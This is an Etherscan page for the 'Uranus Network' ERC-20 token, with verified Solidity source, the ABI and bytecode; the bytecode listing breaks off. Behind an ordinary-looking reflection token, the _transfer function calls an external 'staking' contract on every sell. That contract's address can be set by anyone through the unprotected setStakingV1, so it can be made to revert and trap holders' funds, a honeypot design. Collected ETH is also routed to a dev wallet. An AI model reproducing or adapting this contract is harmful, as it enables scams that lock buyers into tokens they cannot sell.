ERC-20
Overview
Max Total Supply
15,000,000 URANUS
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
461,974.822803918876745409 URANUSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Uranus
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-31 */ /** Website: https://www.uranusnetwork.site Tg: https://t.me/uranus_network */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tok, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IStakingV1 { function savePosition(address from, address to, uint256 amount) external; } contract Uranus is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 15 * 10 ** 6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Uranus Network"; string private constant _symbol = unicode"URANUS"; uint8 private constant _decimals = 18; uint256 private _taxFee = 3; uint256 private _teamFee = 0; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable public devWallet; IStakingV1 private stakingV1; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; bool private tradingEnabled = false; modifier lockSwap { inSwap = true; _; inSwap = false; } constructor () { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); devWallet = payable(msg.sender); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { if(!tradingEnabled){ require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not enabled."); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } else { uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair) { stakingV1.savePosition(from, to, amount); if(contractTokenBalance > 0) { swapTokensForEth(to, contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { devWallet.transfer(contractETHBalance); } } } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(address receipent, uint256 tokenAmount) private lockSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function setStakingV1(address _staking) external { stakingV1 = IStakingV1(_staking); } function dustEth() external { devWallet.transfer(address(this).balance); } receive() external payable {} function startTrading() external onlyOwner { tradingEnabled = true; } function addEthToLiquiidty() external payable onlyOwner { _approve(address(this), address(uniswapV2Router), type(uint).max); _approve(address(uniswapV2Pair), msg.sender, type(uint).max); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _approve(address(uniswapV2Pair), address(uniswapV2Router), type(uint).max); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addEthToLiquiidty","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dustEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_staking","type":"address"}],"name":"setStakingV1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001d6a0c685fa11e01ec6f00000060001962000338565b6200002b906000196200035b565b6006556003600881905560006009819055600a91909155600b55600f805461ffff60a01b191690553480156200006057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000107573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200012d919062000383565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000190573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b6919062000383565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000204573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022a919062000383565b600f80546001600160a01b03929092166001600160a01b0319928316179055600c80549091163317905560065430600090815260026020526040812091909155600190600590620002836000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308082526005845282822080548616600190811790915561dead83527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba80549096161790945590516a0c685fa11e01ec6f000000815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003b5565b6000826200035657634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200037d57634e487b7160e01b600052601160045260246000fd5b92915050565b6000602082840312156200039657600080fd5b81516001600160a01b0381168114620003ae57600080fd5b9392505050565b61138580620003c56000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063a76e5cef11610064578063a76e5cef146102dc578063a9059cbb14610319578063aa018e8114610339578063dd62ed3e1461034e578063e925daa01461039457600080fd5b8063715018a61461025a5780638da5cb5b1461026f5780638ea5220f1461028d57806395d89b41146102ad57600080fd5b8063293230b8116100d1578063293230b8146101cf578063313ce567146101e657806349bd5a5e1461020257806370a082311461023a57600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101af57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d5572616e7573204e6574776f726b60901b60208201525b60405161014e9190611085565b60405180910390f35b34801561016357600080fd5b506101776101723660046110e8565b61039c565b604051901515815260200161014e565b34801561019357600080fd5b506a0c685fa11e01ec6f0000005b60405190815260200161014e565b3480156101bb57600080fd5b506101776101ca366004611114565b6103b3565b3480156101db57600080fd5b506101e461041c565b005b3480156101f257600080fd5b506040516012815260200161014e565b34801561020e57600080fd5b50600f54610222906001600160a01b031681565b6040516001600160a01b03909116815260200161014e565b34801561024657600080fd5b506101a1610255366004611155565b610464565b34801561026657600080fd5b506101e4610486565b34801561027b57600080fd5b506000546001600160a01b0316610222565b34801561029957600080fd5b50600c54610222906001600160a01b031681565b3480156102b957600080fd5b506040805180820190915260068152655552414e555360d01b6020820152610141565b3480156102e857600080fd5b506101e46102f7366004611155565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b34801561032557600080fd5b506101776103343660046110e8565b6104fa565b34801561034557600080fd5b506101e4610507565b34801561035a57600080fd5b506101a1610369366004611172565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101e4610543565b60006103a9338484610682565b5060015b92915050565b60006103c08484846107a6565b610412843361040d85604051806060016040528060288152602001611328602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906109a6565b610682565b5060019392505050565b6000546001600160a01b0316331461044f5760405162461bcd60e51b8152600401610446906111ab565b60405180910390fd5b600f805460ff60a81b1916600160a81b179055565b6001600160a01b0381166000908152600260205260408120546103ad906109e0565b6000546001600160a01b031633146104b05760405162461bcd60e51b8152600401610446906111ab565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a93384846107a6565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610540573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461056d5760405162461bcd60e51b8152600401610446906111ab565b600e546105879030906001600160a01b0316600019610682565b600f546105a0906001600160a01b031633600019610682565b600e546001600160a01b031663f305d71947306105bc81610464565b6000806105d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610639573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061065e91906111e0565b5050600f54600e5461068092506001600160a01b039182169116600019610682565b565b6001600160a01b0383166106e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b0382166107455760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600f54600160a81b900460ff16610842576001600160a01b03831660009081526005602052604090205460ff16806107f657506001600160a01b03821660009081526005602052604090205460ff165b6108425760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f7420656e61626c65642e0000000000000000006044820152606401610446565b6001600160a01b03831660009081526005602052604090205460019060ff168061088457506001600160a01b03831660009081526005602052604090205460ff165b1561089157506000610994565b600061089c30610464565b600f54909150600160a01b900460ff161580156108c75750600f546001600160a01b03868116911614155b1561099257600d546040516371532a3d60e01b81526001600160a01b038781166004830152868116602483015260448201869052909116906371532a3d90606401600060405180830381600087803b15801561092257600080fd5b505af1158015610936573d6000803e3d6000fd5b50505050600081111561094d5761094d8482610a64565b47801561099057600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561098e573d6000803e3d6000fd5b505b505b505b6109a084848484610bc6565b50505050565b600081848411156109ca5760405162461bcd60e51b81526004016104469190611085565b5060006109d78486611224565b95945050505050565b6000600654821115610a475760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610446565b6000610a51610bf4565b9050610a5d8382610c17565b9392505050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610aac57610aac611237565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b29919061124d565b81600181518110610b3c57610b3c611237565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac94790610b8290859060009086903090429060040161126a565b600060405180830381600087803b158015610b9c57600080fd5b505af1158015610bb0573d6000803e3d6000fd5b5050600f805460ff60a01b191690555050505050565b80610bd357610bd3610c59565b610bde848484610c87565b806109a0576109a0600a54600855600b54600955565b6000806000610c01610d7e565b9092509050610c108282610c17565b9250505090565b6000610a5d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610dc4565b600854158015610c695750600954155b15610c7057565b60088054600a5560098054600b5560009182905555565b600080600080600080610c9987610df2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ccb9087610e4f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610cfa9086610e91565b6001600160a01b038916600090815260026020526040902055610d1c81610ef0565b610d268483610f3a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d6b91815260200190565b60405180910390a3505050505050505050565b60065460009081906a0c685fa11e01ec6f000000610d9c8282610c17565b821015610dbb575050600654926a0c685fa11e01ec6f00000092509050565b90939092509050565b60008183610de55760405162461bcd60e51b81526004016104469190611085565b5060006109d784866112db565b6000806000806000806000806000610e0f8a600854600954610f5e565b9250925092506000610e1f610bf4565b90506000806000610e328e878787610fb3565b919e509c509a509598509396509194505050505091939550919395565b6000610a5d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109a6565b600080610e9e83856112fd565b905083811015610a5d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b6000610efa610bf4565b90506000610f088383611003565b30600090815260026020526040902054909150610f259082610e91565b30600090815260026020526040902055505050565b600654610f479083610e4f565b600655600754610f579082610e91565b6007555050565b6000808080610f786064610f728989611003565b90610c17565b90506000610f8b6064610f728a89611003565b90506000610fa382610f9d8b86610e4f565b90610e4f565b9992985090965090945050505050565b6000808080610fc28886611003565b90506000610fd08887611003565b90506000610fde8888611003565b90506000610ff082610f9d8686610e4f565b939b939a50919850919650505050505050565b600082600003611015575060006103ad565b60006110218385611310565b90508261102e85836112db565b14610a5d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b600060208083528351808285015260005b818110156110b257858101830151858201604001528201611096565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461054057600080fd5b600080604083850312156110fb57600080fd5b8235611106816110d3565b946020939093013593505050565b60008060006060848603121561112957600080fd5b8335611134816110d3565b92506020840135611144816110d3565b929592945050506040919091013590565b60006020828403121561116757600080fd5b8135610a5d816110d3565b6000806040838503121561118557600080fd5b8235611190816110d3565b915060208301356111a0816110d3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156111f557600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103ad576103ad61120e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561125f57600080fd5b8151610a5d816110d3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112ba5784516001600160a01b031683529383019391830191600101611295565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826112f857634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103ad576103ad61120e565b80820281158282048414176103ad576103ad61120e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fdfc21e28ed51acd8fcb10de10f72ed244481471c088cdabd93ae61761c591a064736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101025760003560e01c8063715018a611610095578063a76e5cef11610064578063a76e5cef146102dc578063a9059cbb14610319578063aa018e8114610339578063dd62ed3e1461034e578063e925daa01461039457600080fd5b8063715018a61461025a5780638da5cb5b1461026f5780638ea5220f1461028d57806395d89b41146102ad57600080fd5b8063293230b8116100d1578063293230b8146101cf578063313ce567146101e657806349bd5a5e1461020257806370a082311461023a57600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101af57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d5572616e7573204e6574776f726b60901b60208201525b60405161014e9190611085565b60405180910390f35b34801561016357600080fd5b506101776101723660046110e8565b61039c565b604051901515815260200161014e565b34801561019357600080fd5b506a0c685fa11e01ec6f0000005b60405190815260200161014e565b3480156101bb57600080fd5b506101776101ca366004611114565b6103b3565b3480156101db57600080fd5b506101e461041c565b005b3480156101f257600080fd5b506040516012815260200161014e565b34801561020e57600080fd5b50600f54610222906001600160a01b031681565b6040516001600160a01b03909116815260200161014e565b34801561024657600080fd5b506101a1610255366004611155565b610464565b34801561026657600080fd5b506101e4610486565b34801561027b57600080fd5b506000546001600160a01b0316610222565b34801561029957600080fd5b50600c54610222906001600160a01b031681565b3480156102b957600080fd5b506040805180820190915260068152655552414e555360d01b6020820152610141565b3480156102e857600080fd5b506101e46102f7366004611155565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b34801561032557600080fd5b506101776103343660046110e8565b6104fa565b34801561034557600080fd5b506101e4610507565b34801561035a57600080fd5b506101a1610369366004611172565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101e4610543565b60006103a9338484610682565b5060015b92915050565b60006103c08484846107a6565b610412843361040d85604051806060016040528060288152602001611328602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906109a6565b610682565b5060019392505050565b6000546001600160a01b0316331461044f5760405162461bcd60e51b8152600401610446906111ab565b60405180910390fd5b600f805460ff60a81b1916600160a81b179055565b6001600160a01b0381166000908152600260205260408120546103ad906109e0565b6000546001600160a01b031633146104b05760405162461bcd60e51b8152600401610446906111ab565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a93384846107a6565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610540573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461056d5760405162461bcd60e51b8152600401610446906111ab565b600e546105879030906001600160a01b0316600019610682565b600f546105a0906001600160a01b031633600019610682565b600e546001600160a01b031663f305d71947306105bc81610464565b6000806105d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610639573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061065e91906111e0565b5050600f54600e5461068092506001600160a01b039182169116600019610682565b565b6001600160a01b0383166106e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b0382166107455760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600f54600160a81b900460ff16610842576001600160a01b03831660009081526005602052604090205460ff16806107f657506001600160a01b03821660009081526005602052604090205460ff165b6108425760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f7420656e61626c65642e0000000000000000006044820152606401610446565b6001600160a01b03831660009081526005602052604090205460019060ff168061088457506001600160a01b03831660009081526005602052604090205460ff165b1561089157506000610994565b600061089c30610464565b600f54909150600160a01b900460ff161580156108c75750600f546001600160a01b03868116911614155b1561099257600d546040516371532a3d60e01b81526001600160a01b038781166004830152868116602483015260448201869052909116906371532a3d90606401600060405180830381600087803b15801561092257600080fd5b505af1158015610936573d6000803e3d6000fd5b50505050600081111561094d5761094d8482610a64565b47801561099057600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561098e573d6000803e3d6000fd5b505b505b505b6109a084848484610bc6565b50505050565b600081848411156109ca5760405162461bcd60e51b81526004016104469190611085565b5060006109d78486611224565b95945050505050565b6000600654821115610a475760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610446565b6000610a51610bf4565b9050610a5d8382610c17565b9392505050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610aac57610aac611237565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b29919061124d565b81600181518110610b3c57610b3c611237565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac94790610b8290859060009086903090429060040161126a565b600060405180830381600087803b158015610b9c57600080fd5b505af1158015610bb0573d6000803e3d6000fd5b5050600f805460ff60a01b191690555050505050565b80610bd357610bd3610c59565b610bde848484610c87565b806109a0576109a0600a54600855600b54600955565b6000806000610c01610d7e565b9092509050610c108282610c17565b9250505090565b6000610a5d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610dc4565b600854158015610c695750600954155b15610c7057565b60088054600a5560098054600b5560009182905555565b600080600080600080610c9987610df2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ccb9087610e4f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610cfa9086610e91565b6001600160a01b038916600090815260026020526040902055610d1c81610ef0565b610d268483610f3a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d6b91815260200190565b60405180910390a3505050505050505050565b60065460009081906a0c685fa11e01ec6f000000610d9c8282610c17565b821015610dbb575050600654926a0c685fa11e01ec6f00000092509050565b90939092509050565b60008183610de55760405162461bcd60e51b81526004016104469190611085565b5060006109d784866112db565b6000806000806000806000806000610e0f8a600854600954610f5e565b9250925092506000610e1f610bf4565b90506000806000610e328e878787610fb3565b919e509c509a509598509396509194505050505091939550919395565b6000610a5d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109a6565b600080610e9e83856112fd565b905083811015610a5d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b6000610efa610bf4565b90506000610